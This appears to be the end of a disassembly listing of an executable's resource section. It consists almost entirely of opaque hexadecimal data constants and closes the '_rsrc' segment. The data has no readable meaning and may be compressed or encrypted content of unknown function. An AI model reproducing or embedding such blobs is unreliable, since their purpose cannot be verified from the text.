		dd 8A9A6A2Dh, 68E79B81h, 1AC731Dh, 9F266AB9h, 44D5FB55h
		dd 0D708FCE1h, 12CBE403h, 23AB0C5Eh, 0E0317472h, 0EED6BCBFh
		dd 43C199B6h, 0F49D79F8h, 0E3AA88D2h, 1B89F60Fh, 5407B95Ah
		dd 0EF239FA0h, 0F0863AE3h, 0BC6B2FD8h, 68B2AAF8h, 4DCBA2BCh
		dd 25803A02h, 68004F61h, 0A5642852h, 0E3971BE2h, 36D498EDh
		dd 7B27D581h, 0C6450979h, 0BE019789h, 0D205CAFAh, 1FFEA2A4h
		dd 6FFE58D2h, 505F2330h, 480B827Eh, 1C2658B4h, 61C11E38h
		dd 80232627h, 0F13B7564h, 2C7CB5B7h, 5BB7F1F8h,	2393641Ch
		dd 4F3BE2A6h, 63B2A72Ch, 49B9D7BDh, 7893D27Fh, 613CC056h
		dd 1B52260Bh, 6B1ADEC9h, 0CDAFA22Ah, 9D559190h,	8E77BA9Ch
		dd 8C3BFFFFh, 128E6CAEh, 0F9F92495h, 73831F5h, 9EC9ADDAh
		dd 2224D8D9h, 0C1BEB6D8h, 3698E1EFh, 0EA08CB42h, 8E818A02h
		dd 0DA021157h, 27D5983Eh, 0CFF56109h, 0E1662A2Ah, 15D1F999h
		dd 48C6961Dh, 9BB2DC0Fh, 450F5A02h, 0A07F2323h,	592C5655h
		dd 0D25EA395h, 0F6589B6Dh, 0C11A6764h, 3FC7FA97h, 5330F4F5h
		dd 378D1970h, 1CC05467h, 9B692EAAh, 0B9B41AE7h,	64E99D9Bh
		dd 0B22B5FDh, 0CC7869C4h, 0AFC36008h, 517E949Dh, 484769CAh
		dd 49A6E4Dh, 0B5632668h, 7EE3517Ch, 0F1FCB7BAh,	7A3661CCh
		dd 0D2EB587Bh, 0C94C1013h, 4B354D25h, 788AA093h, 0DC4DFD94h
		dd 0FCE63103h, 3F6FAC7h, 83FEB994h, 93E5FB07h, 0D400491Eh
		dd 0ABFB4B2Fh, 70666327h, 4B83F9C8h, 0F34C7701h, 0E0DBD164h
		dd 0E3B42709h, 0A90492E9h, 2DD3C11Dh, 0E9D95FE9h, 3054AFF5h
		dd 35A31FEDh, 7C453DBFh, 80B84C4Fh, 0E4357F71h,	0E9493D3Fh
		dd 53A4FE54h, 17D9AD90h, 0C4915EDDh, 0CDE92130h, 0B6CD0907h
		dd 0E4F3701h, 9CC2B6B9h, 0EDBA09DCh, 0CF034719h, 6F718FE2h
		dd 36E3A7C2h, 7B5438F2h, 0C6442D42h, 0A5CC94FDh, 0DAFAC9FAh
		dd 1FFD84EBh, 0E86AA1D8h, 50A119A7h, 4BA36314h,	2AEE8284h
		dd 5EB6107Ch, 0B1EBBD14h, 13473B20h, 513F9451h,	2B375A9Dh
		dd 0F1F53335h, 9555B9D2h, 7B9F4C5h, 4AC88CF5h, 12AA500Dh
		dd 8ABAB31Ch, 9262A0E9h, 0FEE6DDEEh, 33D189FEh,	0CB9AE8E4h
		dd 0C7FB3607h, 41AF01DBh, 0DE02F6E3h, 0A841B2C2h, 0E5A26612h
		dd 99414BAAh, 0E3081962h, 3EDB9F85h, 36F4FAF1h,	0E5D63F72h
		dd 6CA6A3C8h, 4278555Fh, 768598ABh, 0BECD3030h,	9B64BCD4h
		dd 7F7DF1C3h, 78DE7429h, 63984284h, 0BDBF6376h,	0CC2C737Ah
		dd 292CBEB9h, 5DBBCAD6h, 0D7945901h, 0ED035F51h, 0D937CAD0h
		dd 17AB909Fh, 6F84D7C3h, 8CEA2124h, 0C4375F6Ah,	1F4F9692h
		dd 679CC9FCh, 75C21124h, 0B81D5F56h, 0F229565Bh, 1D6DA8BDh
		dd 57B4F6FBh, 8DC90113h, 0D10F475Ah, 0E588B84h,	379BF0E5h
		dd 61DB09E4h, 0B9ED1625h, 0C1326C78h, 872A38Ah,	4AA9FEC6h
		dd 90CC153Ah, 0E2095C5Bh, 0EF408DBBh, 3595B2ACh, 6785ECEEh
		dd 0BCE53C23h, 0C83C6D7Ah, 3C41928Dh, 3891DAC5h, 54EB3E27h
		dd 8D27786Bh, 0F3574F58h, 3675A5BEh, 7692E6F3h,	86F23434h
		dd 0F2035052h, 1F559998h, 27B9C7D8h, 65DE080Ch,	0AA3A1F28h
		dd 0E827607Eh, 3710A6B3h, 4EBFEEFEh, 80CF2C13h,	0BB6B2D5Bh
		dd 8431A5F7h, 3E89BDC0h, 79A8FDE7h, 0B7FD237Eh,	0D43E786Ah
		dd 373F081h, 7BE2C9CFh,	0DDE12D38h, 0AA12585Ah,	0E5456971h
		dd 13579DC3h, 54A4B0C0h, 0C6DA1115h, 0DC345704h, 7D169C9Eh
		dd 3FED59E6h, 86E8797Bh, 0FF5DA7AEh, 0F8C3CC0Bh, 600EE2C6h
		dd 4FB0F63h, 185F6254h,	0D2365F33h, 609A78EAh, 10F78B96h
		dd 6491BF29h, 0E7062D67h, 822509EAh, 46E96150h,	446BA496h
		dd 9C0D3B6Ch, 0CCF4B893h, 439CDD5h, 642AF142h, 5A407790h
		dd 1ADFD9A2h, 4E5BAFDBh, 8A976B27h, 55EA9E9Dh, 5B2777Dh
		dd 0F4EFC117h, 7C433725h, 5E0BCF58h, 337A1217h,	84CB5F52h
		dd 496A422Ah, 4F00B967h
		dd 63883BBBh, 7EC9848Bh, 0D78440A3h, 0DC0B4213h, 24599DF5h
		dd 2D485EA4h, 0F3A55940h, 0AA7A46F4h, 0E1DEAAFEh, 0AE013D3Ch
		dd 29ED5318h, 954ED755h, 4187E41Fh, 721FE3EEh, 65A4EDFDh
		dd 46812039h, 35777772h, 0A26C1993h, 0A24924CEh, 965D6B68h
		dd 0EBA870A0h, 0B360214Fh, 0E9D6BBEFh, 44C19999h, 0CB97068h
		dd 86C51948h, 0CE0F5859h, 31578A8Bh, 0D28C9EE2h, 0C5898FFCh
		dd 0BD6CC731h, 0CE6FF7F9h, 1DAFEC8Dh, 833CD18Ah, 0DEBB64BBh
		dd 0F705D129h, 54DE388h, 37E4C0AAh, 0FA3073h, 0F75EC8AEh
		dd 70C68103h, 0D556E9BFh, 10E26D01h, 731BD75Ch,	0DA5F1303h
		dd 634FB9ECh, 10EFB3B5h, 7C22842Dh, 2E7F7369h, 0A963C198h
		dd 621B3CD5h, 798D9C9Eh, 0C0933623h, 0F6256900h, 0C2A40AF6h
		dd 0A3F98D93h, 13C1858Dh, 0A9F93E38h, 0C526787Eh, 934ADE9Eh
		dd 4C97F3Dh, 192FE770h,	0CB730713h, 0DEB18D31h,	0DC04F8D1h
		dd 2DE06714h, 706B0959h, 0AD6D0D60h, 7621817Ah,	8B60B1B2h
		dd 6856025h, 13C0CC1Bh,	7E463A26h, 0A0F1202Eh, 83535DFDh
		dd 0EF9E5243h, 11C2A87Bh, 802FC3D3h, 68932E31h,	44EF83B4h
		dd 0D8ED4A26h, 0A0527C46h, 0FCE75CDCh, 31D08844h, 8CF2ACE8h
		dd 56FCB817h, 0D839CDDDh, 0E68CC3ACh, 1BF9AD2Bh, 0B3C10303h
		dd 3EA54C4Eh, 7412CA02h, 0E17F51E8h, 0C2B24654h, 0FC54C0C5h
		dd 0FAAB0708h, 0A2F43022h, 15C1EA14h, 0A11E9861h, 0E364183Ch
		dd 961FAFA5h, 0B90B4AE3h, 1BF00545h, 82D2487Ah,	0D4A5254Dh
		dd 0A0EA2628h, 1FC8ED26h, 0A8DD3F6Bh, 4D55DA07h, 0DF10504h
		dd 50CED788h, 4CB0EFDAh, 65039B67h, 0A8672B53h,	204EB2B5h
		dd 68B6FAFDh, 2D9AE68Ah, 5C883B0Dh, 91702828h, 2F17240Ch
		dd 22DC7CE2h, 0A2CB5C5Eh, 0E220726Ah, 376DC3A7h, 0D60EB5FBh
		dd 0B89513Eh, 0D38149AFh, 0C8025D0Fh, 544A2B2h,	6DBFEBCCh
		dd 615D3668h, 0BC5B04E9h, 7A867A6Bh, 25FB8FEDh,	15C38741h
		dd 228B2507h, 9578018Ch, 0BC896DE1h, 0BBE498B5h, 0CE81B7CFh
		dd 91276F3Ah, 0A5DB97FDh, 9385CAFAh, 0F05B1F9Fh, 0B7966A44h
		dd 0F95E4974h, 782583B9h, 931033B4h, 0F74D6694h, 0E2C2C0BBh
		dd 98483C19h, 0E978DFA0h, 0D6D89C8Eh, 0C18C0DF0h, 0B965C52Dh
		dd 0D166F5F5h, 79B2FEF1h, 5E85ABB4h, 4F764D02h,	0A2623A57h
		dd 6B1DB64Dh, 866FA6A7h, 0FB9A76D9h, 6ECEBA6Eh,	643BCFD3h
		dd 0AAFC3644h, 1DCB8379h, 0ABDA0059h, 0F9196E68h, 3A68ACC7h
		dd 7F794FB2h, 83B44856h, 0FBF84F82h, 5450908h, 5F0DD4BAh
		dd 0D360149Bh, 0B69D517Bh, 9BAF97A6h, 0D5C6F2C3h, 0CB09454Dh
		dd 20924F39h, 5C894A4Ch, 0A04F1104h, 6887375Dh,	598BA3A5h
		dd 0F9A76A6Ch, 0EDDDA1CAh, 4EB9FCCDh, 5300C556h, 711C07DFh
		dd 766F0657h, 0AB6931D2h, 1782562h, 2F61C5BDh, 914E7578h
		dd 0CC491129h, 29C1E4E3h, 5D3AEE76h, 0A8FBE399h, 0DDBAF4E4h
		dd 209C7729h, 7E1BC348h, 0C2FC773Fh, 0EBB7E0Bh,	5D8F07C1h
		dd 117CEF12h, 57347E5Fh, 0D15966A3h, 0F6A45845h, 0BE073159h
		dd 1DCAFB91h, 50CDED01h, 173A710Fh, 0E08C31D0h,	3DDB891Ch
		dd 712EC246h, 6AB4BAC7h, 2D1BE78Ah, 9F33A0Dh, 907F860Ah
		dd 0E78ACBCDh, 22FFB352h, 9B7F53EFh, 0DA9FDBD0h, 7B28EC7Ah
		dd 0CA169FE9h, 0F4EC584Bh, 0E3AC75D2h, 49F4800Fh, 0D511E5F7h
		dd 0DA8B75A1h, 612C9A97h, 0BC5A0E8Fh, 915AF692h, 1FFABEC1h
		dd 0D45779DAh, 508A7E7Dh, 2847335Dh, 5E2B9074h,	80ECF7AAh
		dd 0DAEFE478h, 0CE94F92Eh, 9C3C4B00h, 1D17CB80h, 3B899A90h
		dd 0E874D953h, 0FE56C2E2h, 6802AEE0h, 0CDBE804Bh, 389A85C1h
		dd 0D062AA44h, 0B6620B0Ch, 4F2FABE2h, 13F7B5BDh, 0DFBA4640h
		dd 0C14D5415h, 8843D1D5h, 4B1F3F4h, 0ED9784A6h,	0EAA3A9DBh
		dd 0E959416h, 119DDDEh,	60B6F5A7h, 0D768F890h, 4EF93607h
		dd 8C0AEBCDh, 4EE1C6A2h, 4CC747FAh, 0E59253B1h,	0C97E3921h
		dd 8974E7E3h, 0EC04A27h, 0A77F47Ah, 0A670D412h,	96440802h
		dd 7FD46D5Fh, 748398ABh, 0C35DF59Ch, 77E0291Bh,	35A0A58Dh
		dd 48C59543h, 58F2407h,	5585497Ch, 9060EC99h, 3D8F1DCh
		dd 6288F3A5h, 0D51BFF92h, 39EC3305h, 1B1885FDh,	0E7723D4Dh
		dd 1AF7A771h, 4C7D5EE6h, 42380C6Bh, 8CDF12BCh, 0D8FFDECEh
		dd 2C7F97Eh, 4F3D6D4h, 2ECCCB2Ch, 5C39E130h, 0D356316Bh
		dd 13CAE48Bh, 844E97BDh, 12976EF0h, 44F286ACh, 3DD254F5h
		dd 2A82463Ch, 0AD676684h, 98AE57D9h, 2EDBAF8Ch,	7364761Eh
		dd 0BE5C1094h, 8734F8FAh, 61024505h, 0FEC488BBh, 2073AE5Bh
		dd 0A751DB46h, 5EE2546Eh, 0C7B3A99Ch, 30817CE1h, 378DBA3Ch
		dd 9085860Bh, 0DC8FCACCh, 21FEA296h, 16C05A37h,	81737EB0h
		dd 75E76EEDh, 42EF1732h, 5A77507Eh, 827C2916h, 9A200D64h
		dd 35D0D4D6h, 290960h, 0B236457h, 89ED22D0h, 0D31F5F3h
		dd 7CC9BA45h, 1F4C0888h, 51897D60h, 9462058Dh, 7488FE0h
		dd 0A01DF6A9h, 0FD9A4264h, 0CA8CCFBAh, 8D380085h, 0A904A2C9h
		dd 2EFC9727h, 0F701A75Ah, 2D5D110Eh, 0F32A1612h, 3FEDB25Ah
		dd 37AEFCF2h, 64E4173h,	0C717C908h, 310AB882h, 18D12F63h
		dd 65616254h, 0B85700D9h, 5203371h, 49F7B878h, 94364AB6h
		dd 0D9B77B52h, 0C9014544h, 6A17DCC2h, 77755BF6h, 7FA85C42h
		dd 0BCF53AF6h, 239FDFDh, 6431E642h, 57424E90h, 84C2ED60h
		dd 7E691E20h, 84D527EBh, 0B8634F46h, 5824656h, 754675CAh
		dd 95431CC5h, 9F081DE2h, 0C724666Dh, 0DEBCDAEBh, 0B9A7281Ah
		dd 862ABB45h, 14798E58h, 4C0B8F9Bh, 9E544B5Fh, 9C65D078h
		dd 372F580Bh, 0C9B3C8D3h, 7BEC7718h, 0B26F3E4Eh, 0B57D7123h
		dd 52EA804Eh, 5D4B9ACFh, 3879AD1Dh, 2C6CDA3Eh, 722FD3FEh
		dd 7E6CF26Dh, 8A267F52h, 0CA773B86h, 0A383C435h, 6B26FBFCh
		dd 12FEA4B9h, 0A0EC127Fh, 0C30D4B55h, 1240C38Eh, 4EFCDADEh
		dd 6AD041A3h, 0B1EC243Ah, 0FF387D30h, 117AF4E5h, 2E0EED5h
		dd 0BED62846h, 0CD074143h, 0E85AD998h, 3CD4D0A4h, 7FFCA8E9h
		dd 0FEA97E6Fh, 0D230716Dh, 4F2DDD8Ah, 508DCDC3h, 0CE91041Bh
		dd 0BE014A1Bh, 0AD03676Fh, 3C74A5A9h, 10F4E0F1h, 0C7AA647Eh
		dd 0D12D454Dh, 74198E81h, 0CA1138BFh, 398760F0h, 5231F345h
		dd 37BA08E4h, 5D91DDA0h, 44AAD7EAh, 79639013h, 0A1E4A6D0h
		dd 3331C5C6h, 4E103E83h, 0FDB42B75h, 0AEA672CFh, 0A2159DE0h
		dd 0B3C501FAh, 7BA09B77h, 14DF3734h, 2C8D1C77h,	8C3C022Ch
		dd 550490A0h, 0EC24CB91h, 916BA7A4h, 0B6D0AA01h, 0FB25D9D9h
		dd 0F1C6B086h, 3589F434h, 49D9B2BFh, 973887D3h,	78BB675Fh
		dd 0D42A9AABh, 2015A1C7h, 0AEA20C0h, 801FDD0Ch,	7B283040h
		dd 71832F4Dh, 0A2BB4D3Eh, 807C1663h, 1D44E076h,	45CE9849h
		dd 8CA850B0h, 4A4CD6DDh, 0D9BC3BFCh, 5301F5F6h,	5E91C8B2h
		dd 0DEA32157h, 0AB085D4Ch, 8B07CD93h, 1EA514Fh,	4FF2230h
		dd 9C472C34h, 0E0435740h, 0E4AF2DBh, 0A0DC97C9h, 1264A120h
		dd 8537ADD7h, 4DC7F0C1h, 0B90A2753h, 33BF0B7Dh,	95CA011Dh
		dd 606A951Dh, 30282625h, 2093F4E0h, 85B75EFh, 0FC390FCCh
		dd 0C39C8C8h, 0AF013CD5h, 4C95DAB1h, 0E60A5D1Bh, 9BA8E4E2h
		dd 8C310B3Fh, 0BDE85452h, 0FE508E8Ch, 0DF9FE90Eh, 79400405h
		dd 0A5F73294h, 22D0947Eh, 719015Eh, 0B2510C1Fh,	7B28DF07h
		dd 710ED1B7h, 3B9AC8F4h, 5AE54577h, 0C8F78E2Dh,	6512E6E7h
		dd 823294D5h, 1D5D9996h
		dd 0BC6B2E23h, 0C80D769Eh, 457EB09Bh, 9EC38788h, 388730Fh
		dd 0F56F997Fh, 9699EFA4h, 0C1E4A8AAh, 0DEAC6631h, 437A393Ah
		dd 8E3E02E9h, 555A893Ch, 1F2F169Ch, 99175A5Bh, 8F7F0303h
		dd 0ACA3E4CBh, 0A8EFB3B4h, 0F74886DBh, 0D0B6C14Bh, 0DAC30C0Ch
		dd 715A5FDCh, 2DAB5DB6h, 0F44BA456h, 0F3E0E52Eh, 0A9B47CE5h
		dd 0A2F98D8Eh, 0ED3E78D0h, 0DA89E2A6h, 85CF9D16h, 681AEEEEh
		dd 3D28D3Ah, 7C4866Fh, 477CC8C8h, 8C3BFF70h, 65207243h
		dd 43408FA1h, 0D4D5465h, 52A3DD76h, 3CA5959Bh, 3EECD096h
		dd 504AF39Ah, 43683A41h, 0A65509BFh, 4F77D2D2h,	27D36A22h
		dd 4A6E3663h, 0B5852B9Ah, 0DE715600h, 0DAC7B5EEh, 103C0509h
		dd 51E04A4Ch, 5FB08884h, 8CC73323h, 0BA855C5Ah,	0B3A46727h
		dd 0C731B925h, 310BFD6h, 53009B41h, 3B8E4B8Fh, 0C3B07477h
		dd 20715696h, 0F1AAF5ADh, 3CD99D97h, 77B93F41h,	0C433B443h
		dd 17524409h, 0D60A96B3h, 15E2B91Ch, 0E5D85F61h, 86336428h
		dd 5CA08B23h, 1EF138DEh, 3EBCC201h, 0D983477Ah,	61B08496h
		dd 44A12725h, 0D0DC9093h, 0C78805FEh, 0A0D8CE33h, 7735C9CBh
		dd 60D60C51h, 1348048Ch, 6D8D6164h, 98660989h, 1B4CB3E4h
		dd 3E5355ADh, 0FEAE4245h, 0F95A5FA8h, 968AFC05h, 0A507FBFDh
		dd 12E45E03h, 1522D65Eh, 4D601408h, 4B18EF5Bh, 0D60FE2B7h
		dd 0B885022h, 0E387E1C4h, 58490D3Fh, 6411D53Fh,	2DB3C0A0h
		dd 0DE4C88E9h, 4C322E00h, 0FDB737F7h, 0C8FA8ED4h, 0DD414549h
		dd 1C85BEAEh, 95466F9Ch, 7E261CE1h, 43E38DAAh, 822A096Eh
		dd 0B718341Eh, 665D1277h, 0A8FA360Eh, 442594E6h, 0F6AA6A6h
		dd 50A1DDF1h, 55D9C48Ah, 52DAE4CCh, 8B65AC4h, 75962244h
		dd 0EDB8F4F3h, 454B58EDh, 0D66216ADh, 7A9F534Bh, 380E247Dh
		dd 0F132F2CFh, 4A90EA9Bh, 99C07B86h, 8888268Ah,	0BC4EA46h
		dd 0E819EDF2h, 0D60AD63h, 0A7965233h, 5F13542h,	713216FBh
		dd 2AEA3937h, 7C35716Eh, 0E5F6EE9Ah, 1CB01F21h,	7623CE51h
		dd 3EFB47B2h, 2671777Ah, 0CE4B8742h, 95AC080Ah,	9D0CD0D2h
		dd 735998BFh, 0C1516C47h, 0CB65D1A8h, 80C591EAh, 0C3F5B9BCh
		dd 4D8DA5D0h, 350453C7h, 0A07E39A3h, 96F8DD34h,	351CC35Ah
		dd 0Dh dup(0)
		dd 1500h dup(?)
_rsrc		ends


		end start